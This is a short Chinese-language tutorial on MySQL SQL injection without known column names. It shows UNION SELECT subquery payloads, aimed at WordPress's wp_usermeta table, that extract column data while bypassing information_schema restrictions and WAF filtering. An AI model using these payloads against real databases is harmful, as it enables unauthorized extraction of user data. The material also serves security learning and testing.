Mysql 无列名注入

无列名注入?

在不知道列名的情况下进行sql注入.

在MySQL => 5 的版本中自带一个名为 information_schema 的库,里面记录着MySQL中所有表的结构,例如列名,表名等.通常我们在注入时会去查
询数据表结构,但有时会应为用户权限不足,WAF过滤等种种因素而无法去查询.因此要用到无列名注入.


使用条件:

得到表的列数

得到表名

正常的查询语句如下:

SELECT * FROM wp_usermeta;

1.PNG

使用联合查询union

SELECT 1,2,3,4 UNION SELECT * FROM wp_usermeta

2.PNG

可以看到在查询结果中,可以看到表列名替换为了我们在SELECT后的1,2,3,4
假如说我需要meta_key列的数据,也就是替换完的3可以这么查:

SELECT `3` FROM(SELECT 1,2,3,4 UNION SELECT * FROM wp_usermeta)a;

一定要加``号

3.PNG

MySQL先是执行括号内的查询语句,接着再从括号内语句的结果查询,括号后的a随意命名.


我们也可以使用as进行查询而绕过``号.

SELECT 1,2,3 as b,4 UNION SELECT * FROM wp_usermeta;

4.PNG
可以看到从meta_key => 3 => b,接着:

SELECT b FROM(SELECT 1,2,3 as b,4 UNION SELECT * FROM wp_usermeta)a

5.PNG